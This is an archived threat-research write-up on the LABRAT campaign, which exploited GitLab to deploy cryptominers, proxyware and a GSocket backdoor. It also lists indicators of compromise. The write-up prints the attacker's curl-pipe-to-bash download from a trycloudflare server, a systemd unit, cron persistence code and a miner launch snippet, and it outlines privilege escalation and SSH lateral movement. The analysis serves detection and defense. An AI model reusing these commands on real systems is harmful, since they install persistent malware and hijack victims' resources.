{
	"id": "d7a0ee70-5770-4cba-982b-2f7601e59ac5",
	"created_at": "2026-04-06T00:14:33.082833Z",
	"updated_at": "2026-04-10T03:32:45.923289Z",
	"deleted_at": null,
	"sha1_hash": "903865bc531b6adbc3728ff4811ec342b9cf7a67",
	"title": "LABRAT: Stealthy Cryptojacking and Proxyjacking Campaign Targeting GitLab",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1507323,
	"plain_text": "LABRAT: Stealthy Cryptojacking and Proxyjacking Campaign\r\nTargeting GitLab\r\nBy Miguel Hernández\r\nPublished: 2023-08-17 · Archived: 2026-04-02 12:10:19 UTC\r\nThe Sysdig Threat Research Team (TRT) recently discovered a new, financially motivated operation, dubbed\r\nLABRAT. This operation set itself apart from others due to the attacker's emphasis on stealth and defense evasion\r\nin their attacks. It is common to see attackers utilize scripts as their malware because they are simpler to create.\r\nHowever, this attacker chose to use undetected compiled binaries, written in Go and .NET, which allowed the\r\nattacker to hide more effectively.\r\nThe attacker utilized undetected signature-based tools, sophisticated and stealthy cross-platform malware,\r\ncommand and control (C2) tools which bypassed firewalls, and kernel-based rootkits to hide their presence. To\r\ngenerate income, the attacker deployed both cryptomining and Russian-affiliated proxyjacking scripts.\r\nFurthermore, the attacker abused a legitimate service, TryCloudFlare, to obfuscate their C2 network.\r\nDetecting attacks that employ several layers of defense evasion, such as this one, can be challenging and requires\r\na deep level of runtime visibility. This attacker is still active, and continuously updating their tools, which requires\r\nthe defender to both concentrate on detecting the primary tactics, techniques, and procedures (TTP) and keep their\r\nindicators of compromise (IoCs) list updated.\r\nOne obvious goal for this attacker was to generate income using proxyjacking and cryptomining. Proxyjacking\r\nallows the attacker to \"rent\" the compromised system out to a proxy network, basically selling the compromised\r\nIP Address. There is a definite cost in bandwidth, but also a potential cost in reputation if the compromised system\r\nis used in an attack or other illicit activities. Cryptomining can also incur significant financial damages if not\r\nstopped quickly. Income may not be the only goal of the LABRAT operation, as the malware also provided\r\nbackdoor access to the compromised systems. This kind of access could lend itself to other attacks, such as data\r\ntheft, leaks, or ransomware.\r\nTechnical Analysis\r\nGitLab exploitation\r\nThe attacker gained initial access to a container by exploiting the known GitLab vulnerability, CVE-2021-22205.\r\nIn this vulnerability, GitLab does not properly validate image files that were passed to a file parser which resulted\r\nin a remote command execution. There are many public exploits for this vulnerability and it is still being actively\r\nexploited.\r\nOnce the attacker had access to the server, they executed the following command in order to download a malicious\r\nscript from the C2 server.\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 1 of 16\n\ncurl -kL -u lucifer:369369 https://passage-television-gardening-venue[.]trycloudflare.com/v3 | bash\r\nThe initial script allowed the attacker to achieve persistence, evade defenses, and perform lateral movement\r\nthrough the following actions:\r\nCheck whether or not the watchdog process was already running to kill it.\r\nDelete malicious files if they exist from a previous run.\r\nDisable Tencent Cloud and Alibaba's defensive measures, a recurring feature of many attackers.\r\nDownload malicious binaries.\r\nCreate a new service with one of these binaries and if root, ran it on the fly.\r\nModify various cron files to maintain persistence.\r\nGather SSH keys to connect to those machines and start the process again, doing lateral movement.\r\nDeletes any evidence that the above processes may have generated.\r\nTryCloudFlare … to hide malicious hosting\r\nThe attacker attempted to obfuscate their C2 location by creating subdomains on trycloudflare[.]com. This domain\r\nis legitimate, as it is owned and operated by Cloudflare, but it is also used to create subdomains that have been\r\nused for phishing.\r\nTryCloudFlare is an easy service to use, which benefits defenders, but also provides an opportunity to attackers.\r\nTo create a new domain, it is as simple as only downloading and installing cloudflared, then running the following\r\ncommand, and you're done:\r\n/cloudflared tunnel -url \"$HOST\":\"$PORT\"\r\nDuring the LABRAT operation, TryCloudFlare was used to redirect connections to a password-protected web\r\nserver that hosted a malicious shell script. Using the legitimate TryCloudFlare infrastructure can make it difficult\r\nfor defenders to identify subdomains as malicious, especially if it is used in normal operations too.\r\nWe also discovered different versions of the installation script, which were not previously reported. The attackers\r\ngenerated a new TryCloudFlare subdomain for each script so we can assume that they used a new domain per\r\ncampaign, in order to keep altering their indicators of compromise.\r\nThese initial scripts act as a file dropper and try to gain persistence on the victim network, and also pivot to\r\nadditional systems if SSH credentials are discovered on the compromised system.\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 2 of 16\n\nAnother important element of the operation we discovered was that the attacker linked directly to a private GitLab\r\nrepository to download binaries related to malicious activity. This repository has been active since September\r\n2022 and some of the latest commits are very recent, only a few weeks old as of the writing of this blog. Creating\r\nyour own GitLab server is very simple. Following the instructions, you can run it on your own Kubernetes\r\ninfrastructure using containers. These are typically unlisted, allowing attackers to store their tools in a more\r\nmanageable way.\r\nWe cannot assume, given the behavior of this actor, that this repository is owned by the attacker. They may have\r\nused an open server to upload the code here. As with a simple Shodan query, we can find thousands of such\r\nGitLab servers.\r\nSome of the updated binaries in the repository are very recent and are not detected by VirusTotal. The attackers are\r\nconstantly updating this toolset, making detection harder, while also adding new tools to make money.\r\nFurther evidence from the same actor\r\nWe detected another attack from the same actor but from a different source. The attackers did not use\r\nTryCloudFlare, but a Solr server instead. The IP is listed as harmless in VirusTotal and it points to a webpage that\r\nappears to be legitimate. It is possible that this IP was compromised and was being used by the attackers. We\r\nfound Chinese forums posts [1,2] reporting to suffer cryptojacking incidents that fit the LABRAT operation. These\r\nattacks used the same private GitLab repository seen in the previous attack.\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 3 of 16\n\nIn this case, the attackers downloaded a pwnkit (CVE-2021-4034) binary from the private repository to elevate\r\nprivileges in addition to another file that now responds as 404.\r\nGSocket for a backdoor\r\nAttackers always want to maintain remote access to their victims. Typically, this is by installing malware, which\r\nprovides a backdoor. In the case of LABRAT, they have used an open source tool called Global Socket (GSocket).\r\nMuch like Netcat, GSocket has legitimate uses, but of course it can also be used by attackers. Unlike Netcat,\r\nGSocket provides features such as a custom relay or proxy network, encryption, and the ability to use TOR,\r\nmaking it a very capable tool for stealthy C2 communications. To remove evidence of its installation, the\r\nLABRAT attacker tried to hide the process.\r\nHow GSocket works\r\nFrom the GSocket homepage, \"Global Socket allows two workstations on different private networks to\r\ncommunicate with each other.\"\r\nIt does so by analyzing the program and replacing the IP-Layer with its own GSocket-Layer. A client connection\r\nto a hostname ending in *.gsocket then gets automatically redirected via the Global Socket Relay Network\r\n(GSRN), to this program. Once connected, the library then negotiates a secure end-to-end TLS connection. The\r\nGSRN sees only the encrypted traffic.\r\nIn the following images, we ran the malicious script without root privileges on a victim environment and the\r\nserver ran waiting for a client with the randomly generated password. The attacker can now connect to the system,\r\nbypassing any inbound firewall rules. By default, this would not persist and in the event of a reboot, the attacker\r\nwould lose access. To gain persistence, the attacker needs elevated privileges.\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 4 of 16\n\nBased on the need for root privileges to achieve persistence, the attacker executed a local privilege escalation\r\n(LPE) exploit called m, which was stored in the private GitLab repository. The m binary attempted to use the\r\npwnkit vulnerability (CVE-2021-4034) to gain root access.\r\nThe attacker now has the necessary tools to achieve elevated privileges and is able to maintain persistence. If\r\nGSocket is run as a server, it will automatically add itself to files which give it persistence, such as .bashrc and\r\n.profile.\r\nGSocket installation\r\nTo install the GSocket server on the victim, the attacker obfuscated the whole process. Everything was executed\r\nfrom a single script and is explained in the following steps:\r\nDownload the two tar files from the private repository.\r\nExtract both files and concatenate them to generate a new script.\r\nThis file self-extracts to have another script and several binaries.\r\nRun this last script, which deploys the server using the correct binary based on the architecture. This script\r\nis very similar to the original GSocket script, but with some command outputs removed and renamed as a\r\nbackdoor.\r\nDuring each step, the script eliminated all the evidence it generated. We edited the script to keep the files and saw\r\nall the binaries and the deploy.sh script. This script was the modified version of the official script where GSocket\r\nis renamed as a backdoor and sent some of the outputs hidden to run GSocket as a server.\r\nProxyjacking with ProxyLite and IPRoyal\r\nDuring the investigation of the private repository, we found a binary called rcu_tr . Basic analysis shows that it\r\nis associated with IPRoyal, which is a known proxyware service. When you run the binary, you share your internet\r\nbandwidth with others who pay to use your IP address. The Sysdig TRT reported in \"Proxyjacking has entered the\r\nchat\" the use of this software on victims to generate income for malicious actors.\r\nThe repository also contained a tar file that housed three DLL files:\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 5 of 16\n\nProxyService.Core.dll\r\nProxyService.Core.deps.json\r\nProxyService.Core.runtimeconfig.json\r\nInitial analysis showed these files were related to a Russian proxyware service called ProxyLite[.]ru. This service\r\nis owned and operated by a Russian national. What makes this especially interesting is that the DLL uses .NET\r\nCore, is heavily obfuscated, and works on multiple platforms. At the time of this writing, the DLL was completely\r\nundetected by VirusTotal. It is definitely not common for legitimate software to use this level of obfuscation\r\nDuring the analysis of ProxyService.Core.dll, we found heavily obfuscated functions like the one in the picture\r\nbelow. Each one of the lines in the image is a code path, and there are a lot of them. They are also very flat,\r\ninstead of hierarchical, as we would normally expect to see.\r\nThe technique used to obfuscate the DLL is called Control Flow Flattening (CFF), which is used to hide the\r\ncontrol flow of a function by replacing all the conditional blocks with a flat one, called a switch case. The flow\r\ncharts below show a normal code path on the left and a flattened code path on the right.\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 6 of 16\n\nThis technique is meant to discourage reverse engineering due to the time-consuming nature of the task. We\r\nmanually followed the obfuscated control flow and noticed that a check was performed to verify that the running\r\nplatform is supported by the tool. Below is a simplified version of the check.\r\npublic class ClientComposerManager {\r\n private static const bool m_Initialized = false;\r\n private static const bool OSWin = false;\r\n private static const bool OSNix = false;\r\n private static const bool OSOSX = false;\r\n public static object Null()\r\n {\r\n return null;\r\n }\r\n [MethodImpl(MethodImplOptions.NoInlining)]\r\n internal unsafe static void CallAdapter()\r\n {\r\n int num = 684;\r\n for (;;)\r\n {\r\n int num2 = num;\r\n for (;;)\r\n {\r\n case 684:\r\n if(ClientComposerManager.m_Initialized)\r\n {\r\n num = 683;\r\n continue;\r\n }\r\n ClientComposerManager.m_Identifier = true;\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 7 of 16\n\nnum2 = 12;\r\n if (ClientComposerManager.Null() == null) // Always True next branch is 192\r\n {\r\n num2 = 192;\r\n continue;\r\n }\r\n continue;\r\n case 192:\r\n try\r\n {\r\n RSACryptoServiceProvider.UseMachineKeyStore = true;\r\n }\r\n catch\r\n {\r\n }\r\n num2 = 480;\r\n continue;\r\n case 480:\r\n ClientComposerManager.OSWin = RuntimeInformation.IsOSPlatform(OSPlatform.Windows);\r\n num2 = 645;\r\n continue;\r\n case 645:\r\n ClientComposerManager.OSNix = RuntimeInformation.IsOSPlatform(OSPlatform.Linux);\r\n num2 = 60;\r\n continue;\r\n case 60:\r\n ClientComposerManager.OSOSX = RuntimeInformation.IsOSPlatform(OSPlatform.OSX);\r\n num2 = 543;\r\n if (ClientComposerManager.Null() != null) // Always false branch\r\n {\r\n num2 = 511;\r\n continue;\r\n }\r\n continue;\r\n default:\r\n }\r\n }\r\n }\r\n }\r\nThere is specific mention of Windows, OSX, and Linux in the code shown above. This gave us some useful\r\ninsight about the wide range of supported platforms. Another insight came from the presence of different DLL\r\nnames commonly used by .NET on all the mentioned platforms.\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 8 of 16\n\nThis malicious DLL will work on Linux, Windows, and MacOS since it was built with .NET Core. This\r\nportability, combined with the obfuscation, makes it a very effective tool for the attacker. However, its use is also\r\nlimited because it requires the victim system to have the .NET core libraries.\r\nApart from that, this binary ensures its own safety by using two common methods:\r\nAnti debug checks\r\nAnti tampering checks\r\nThe first one is implemented using the Debugger.IsAttached method of C#. This check is a common way for a\r\nprogram to detect if it is being launched with a debugger attached, such as WindDB or gdb. The second one is\r\nhardcoded inside a flattened function in the form of a SHA1 hash check against its own assemblies. This is\r\nparticularly useful when it comes to detect if its own assemblies were modified.\r\nEncrypted cryptographic material was also present as embedded resources inside the binary itself. As you can see\r\nbelow, Client.Item contained a serialized RSA key in the form of an XML file.\r\nThis is the decrypted RSA key:\r\n\u003cRSAKeyValue\u003e\u003cModulus\u003ezlUkMywGKDNbeJxH/zDotBK2KGsq3+fCyOXuaEHc38tL8CEymadHC4IvnPJ4ZHsuEIho1JVEVlJXYmPAkmiAboHJv\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 9 of 16\n\nThe decryption of such resources is done via AES CBC 256. Both the Key and the IV are randomized, and such\r\ndecryption routines are also usually obfuscated with the previously discussed technique, CFF.\r\nAs we can see from the screenshot, an array of 32 bytes (AES-256 key) was declared and then manually\r\npopulated. This array contained the AES symmetric key used to decode one of the resources. To make it difficult\r\nto follow the code, the obfuscator added some junk code, which invalidated the previous operation.\r\nnum5 = 221 - 73;\r\narray2[2] = (byte)num5; // invalidated\r\narray2[2] = 68 + 121; // invalidated\r\narray2[3] = 236 - 78; // invalidated\r\narray2[3] = 151 - 50; // actual value\r\nThe same operation is later performed again to craft an Initialization Vector used to perform the final decryption.\r\nThere were no strings present in the binary itself because the decryption of such strings is performed dynamically\r\nat runtime.\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 10 of 16\n\nThe function above is responsible for decrypting strings at runtime. Static analysis of such functions is not\r\npossible since the array containing all the strings is never populated with the code from the DLL itself, but still it\r\nis possible to retrieve all the strings by manually hooking the JIT compiled method as shown in the screenshot\r\nbelow.\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 11 of 16\n\nThere is always cryptojacking…\r\nWe observed cryptojacking using multiple customized xmrig binaries. This differs from the typical cryptojacking\r\nattacks we see because all of the configuration information was hardcoded into the binary instead of included in\r\nextra files or passed on the command line.  At the time of discovery, these mining binaries had not been submitted\r\nto VirusTotal.\r\nLooking inside the included xmrig binaries, we found the mining pools the attacker connected to, which were:\r\n192[.]227.165.88:6666\r\n192[.]227.165.88:4443\r\n172[.]245.226.47:5858\r\nThese pools were not detected as malicious or associated with known mining pools by VirusTotal. In addition,\r\nthey were related to other binaries with the name rcu_bj, which are xmrig binaries. We discovered an earlier\r\ncampaign where these binaries were used and shared on some forums but were not attributed to any actor.\r\nLooking at the repository history, we found other stored miners that were likely used in other campaigns. We\r\nrepeated the process and we discovered another pool that was reported as  malicious by VirusTotal.\r\n23[.]94.204.157:44445\r\n23[.]94.204.157:7773\r\nThis IP address was related to malware from one year ago that had similar behavior but again, no attribution.\r\nIn a recent change, these miners were renamed to sshd in order to look like a legitimate process on the system.\r\nGo for persistence\r\nDuring the investigation, we discovered that the attacker used multiple binaries on their compromised systems.\r\nOne was the previously mentioned cryptominer, another binary looked harmless at first glance, and at the time of\r\nthis writing it was undetected by VirusTotal. It was initially called initd but was renamed to sysinit.\r\nInside the initial file dropper script, the attacker created a new systemd service called s.service to execute this\r\nbinary on startup. They also added entries to various cron files in case the systemd execution wasn't enough to\r\nkeep their malware running on the victim system.\r\nSystemd service:\r\n cat \u003e/tmp/s.service \u003c\u003cEOL\r\n [Unit]\r\n Description=Servicus-d\r\n [Service]\r\n ExecStartPre=/bin/sleep 10\r\n ExecStart=$HOME_1/sysinit\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 12 of 16\n\nRestart=always\r\n Nice=10\r\n CPUWeight=1\r\n [Install]\r\n WantedBy=multi-user.target\r\n EOL\r\nAdding binary to cron files:\r\n makecron(){\r\n list=[\"/etc/cron.d/root\" \"/etc/cron.d/apache\" \"/etc/cron.d/nginx\" \"/var/spool/cron/root\" \"/etc/cron.hour\r\n echo -e \"*/3 * * * * $HOME_1/sysinit\" | crontab -\r\n echo -e \"*/3 * * * * $HOME_1/sysinit\" \u003e /etc/cron.d/root\r\n echo -e \"*/3 * * * * $HOME_1/sysinit\" \u003e /etc/cron.d/apache\r\n echo -e \"*/3 * * * * $HOME_1/sysinit\" \u003e /etc/cron.d/nginx\r\n echo -e \"*/3 * * * * $HOME_1/sysinit\" \u003e /var/spool/cron/root\r\n echo -e \"*/3 * * * * $HOME_1/sysinit\" \u003e /var/spool/cron/crontabs/root\r\n echo -e \"*/3 * * * * $HOME_1/sysinit\" \u003e /etc/cron.hourly/oanacroner\r\n for arch in ${list[@]}; do\r\n chmod +x arch\r\n chattr +ia arch\r\n done\r\n }\r\nThis binary was written in GoLang and was likely used for a few reasons. If it was launched alone, it checked for\r\na number of processes on the system and killed them. The processes it attempted to kill were associated with other\r\nminers or old versions of itself. The attacker wanted to make sure theirs wase the only malware running on the\r\nsystem so they could maximize their earning power. A sample output of the program trying to kill other miners is\r\nshown below.\r\n2023/07/03 09:23:07 Process gitlabw is not running.\r\n2023/07/03 09:23:07 Process kthreaddi is not running.\r\n2023/07/03 09:23:07 Process stratum is not running.\r\nReverse engineering revealed that this binary was also the main loader. When ran, it was responsible for starting\r\nup the miner which masqueraded as sshd. The program started the miner with the following code.\r\n…\r\nSshDevNull = \"/sshd \u003e/dev/null 2\u003e\u00261 \u0026\"\r\nExecAWatchdodg = \"exec -a '[watchdodg]' \"\r\n…\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 13 of 16\n\ncmd := exec.Command(\"bash\", \"-c\", \"nohup \"+ExecAWatchdodg+SshDevNull)\r\n…\r\nPrivate GitLab updates\r\nDuring the writing of this article, the private repository has continued to operate, following the same procedure we\r\nhave shown so far. Twice, 2 files were uploaded. The go binary was updated to add the new binary containing the\r\nminer with the pool and configuration already added.\r\nWe found the new mining pools:\r\n107[.]173.154.7:6969\r\ndesertplanets[.]com:6666\r\n172[.]245.226.47:5858\r\nHide and seek with kernel rootkits\r\nIn researching previous attacks conducted by this actor, there was evidence that they used a kernel-based rootkit to\r\nhide the mining process, specifically hiding-cryptominers-linux-rootkit. These types of rootkits can make it almost\r\nimpossible for a defender to detect malicious activity, as attackers gain full control over everything that happens\r\non the system. Often, their presence is only detected through offline forensics.\r\nRuntime detection is possible, but only if the system has a runtime monitoring tool such as Falco, enabled when\r\nthe rootkit is installed.  There is also an opportunity to detect the communications between the kernel portion of\r\nthe rootkit and the userland. In this case, it uses the kill system call and custom signal values to control the\r\nrootkit's behavior. Detection tools can observe those values and trigger alerts.\r\nThis malicious Linux LKM (Loadable Kernel Module) will hook multiple system calls and kernel functions in\r\norder to hide the xmrig miner process from any process listing tools, such as \"ps.\" It will also hide the CPU usage\r\nrelated to the miner, so administrators won't be able to see that the CPU is being heavily utilized. The complete\r\nexplanation of the tool is detailed in the article Hiding miners on Linux for profit.\r\nConclusion\r\nThis operation was much more sophisticated than many of the attacks the Sysdig TRT typically observes. Many\r\nattackers do not bother with stealth at all, but this attacker took special care when crafting their operation. The\r\nstealthy and evasive techniques and tools used in this operation make defense and detection more challenging.\r\nSince the goal of the LABRAT operation is financial, time is money. The longer a compromise goes undetected,\r\nthe more money the attacker makes and the more it will cost the victim. A robust threat detection and response\r\nprogram is necessary to quickly detect and respond to the attack.\r\nCrypomining and proxyjacking should never be considered nuisance malware and be written off by having the\r\nsystem rebuilt without a thorough investigation. As seen in this operation, malware does have the ability to\r\nautomatically spread to other systems with SSH keys. We have also seen in the past, with SCARLETEEL, that\r\nattackers will install cryptominers, but also steal intellectual property if they have the opportunity.\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 14 of 16\n\nIoCs\r\nfilename sha256\r\napi ff4b30f45ec635f28801a24a175bbf7479fbcbf01131c7ff086ccd6cb64f2e8c\r\nbooster 4fd39d545d877720a86a1858d5af6ac50a432c13b83abc01ca1a59f96f6c67c0\r\ndb 0654789ea795e18c762ddde2de3215092065c7d26fde122e04cbcdf399a43b02\r\nd.sh 6fad185a92c7a718e80e6f0c4d5fa4155e21545cfe2edf03e70f21604deb89ba\r\ndeploy.sh c236b6337572217eb83dc628579bcd4cd5dfb13c35cca54757f34fb9abf3edd6\r\nv2 bee54e68d49cef7723dee09f39174245c015dd2dcf62ee8ffee6f4a156813d46\r\nv3 7162a27a795d3ae13d0b8a6df0d7aa75fbefa74f8cb086ee46fdab0368d8ea07\r\nv4 846ef36e262ce34203ca82ec84b95ae7bd316d162ee184845fda7b957e22b640\r\nbs.zip 00df3dc4fe3a1c12acf3180d097ca88e0219331ae5cb6989fa4c3262597a2aba\r\ns.zip eb6a93b1a7a05b0f644426a57a54446728868bde9a531e31cfb8849a4b3c4824\r\ns2.zip 34dd0357f281c0a402afa8df60452f4ff4dcb68d2de162f39514ab3ece0f18f8\r\ns3.zip d475ed387f2960611833348ba740d44b707a913bcd088f9731337a909a854c4c\r\nf_ab.tar.gz 96db518610ef5c4b08d454a0f931db619fa09d193ac05b10d5600d4652af6ee3\r\nf_aa.tar.gz 519ca08cc6b08b027441cd95dcb7ee5be6f9328a24687ab770a65e9246e8d4e9\r\nf_aa 06ebe58e033b9228124a0575fddd6d2fde03afceef9ae030c92cb6640e3baebf\r\nf_ab 75c775c26345ddaeda2a29775263433f92e62491fdc888d8deb320970da8cd77\r\nm 10512112e62cd1cffee4e167651897970d7fef2c004fd784addcbcd23376ea22\r\ninitd 9f8eefd3199485b374728c8d51e700cc466f1a34b09f33a83b06775ebfb2f34a\r\nnetcoreapp-latest.tar 8c7891a70dba1067308c75708ada89957324927b6c9860cad9291220869efcc1\r\nkms fc366b6b33f71cc3d5ba64551fc6c825b611045499dc8b41d2f2c70368301967\r\npuga 234f2f1ed4a13ea98074aec5de9e760c77845e8011746e51b7397b9eac3ae808\r\nxorg 5edf76c338cba244ba54ea3380b39531b1fdda13dfe447b17d40f24affb9d2f5\r\nIp/domain\r\nhttps://separate-discussing-refrigerator-field[.]trycloudflare.com File Server\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 15 of 16\n\nhttps://passage-television-gardening-venue[.]trycloudflare.com File Server\r\nhttps://coffee-abandoned-predicted-skype[.]trycloudflare.com File Server\r\nhttps://karma-adopt-income-jeffrey[.]trycloudflare.com File Server\r\n1[.]234.16.54:7070 Gitlab\r\n123[.]30.179.206:8189 Solr admin\r\n192[.]227.165.88:6666 Pool\r\n172[.]245.226.47:5858 Pool\r\n23[.]94.204.157:44445 \u0026\u0026 23[.]94.204.157:7773 Pool\r\n107[.]173.154.7:6969 Pool\r\ndesertplanets[.]com:6666 Pool\r\n172[.]245.226.47:5858 Pool\r\nSource: https://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nhttps://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/\r\nPage 16 of 16",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/"
	],
	"report_names": [
		"labrat-cryptojacking-proxyjacking-campaign"
	],
	"threat_actors": [
		{
			"id": "eb3f4e4d-2573-494d-9739-1be5141cf7b2",
			"created_at": "2022-10-25T16:07:24.471018Z",
			"updated_at": "2026-04-10T02:00:05.002374Z",
			"deleted_at": null,
			"main_name": "Cron",
			"aliases": [],
			"source_name": "ETDA:Cron",
			"tools": [
				"Catelites",
				"Catelites Bot",
				"CronBot",
				"TinyZBot"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "f9806b99-e392-46f1-9c13-885e376b239f",
			"created_at": "2023-01-06T13:46:39.431871Z",
			"updated_at": "2026-04-10T02:00:03.325163Z",
			"deleted_at": null,
			"main_name": "Watchdog",
			"aliases": [
				"Thief Libra"
			],
			"source_name": "MISPGALAXY:Watchdog",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "c220fe19-ef23-4166-ac54-7a32c3ea75d7",
			"created_at": "2023-11-10T02:00:07.503009Z",
			"updated_at": "2026-04-10T02:00:03.437555Z",
			"deleted_at": null,
			"main_name": "SCARLETEEL",
			"aliases": [],
			"source_name": "MISPGALAXY:SCARLETEEL",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "20c759c2-cd02-45bb-85c6-41bde9e6a7cf",
			"created_at": "2024-01-18T02:02:34.189827Z",
			"updated_at": "2026-04-10T02:00:04.721082Z",
			"deleted_at": null,
			"main_name": "HomeLand Justice",
			"aliases": [
				"Banished Kitten",
				"Karma",
				"Red Sandstorm",
				"Storm-0842",
				"Void Manticore"
			],
			"source_name": "ETDA:HomeLand Justice",
			"tools": [
				"BABYWIPER",
				"BiBi Wiper",
				"BiBi-Linux Wiper",
				"BiBi-Windows Wiper",
				"Cl Wiper",
				"LowEraser",
				"No-Justice Wiper",
				"Plink",
				"PuTTY Link",
				"RevSocks",
				"W2K Res Kit"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "3fff98c9-ad02-401d-9d4b-f78b5b634f31",
			"created_at": "2023-01-06T13:46:38.376868Z",
			"updated_at": "2026-04-10T02:00:02.949077Z",
			"deleted_at": null,
			"main_name": "Cleaver",
			"aliases": [
				"G0003",
				"Operation Cleaver",
				"Op Cleaver",
				"Tarh Andishan",
				"Alibaba",
				"TG-2889",
				"Cobalt Gypsy"
			],
			"source_name": "MISPGALAXY:Cleaver",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434473,
	"ts_updated_at": 1775791965,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/903865bc531b6adbc3728ff4811ec342b9cf7a67.pdf",
		"text": "https://archive.orkl.eu/903865bc531b6adbc3728ff4811ec342b9cf7a67.txt",
		"img": "https://archive.orkl.eu/903865bc531b6adbc3728ff4811ec342b9cf7a67.jpg"
	}
}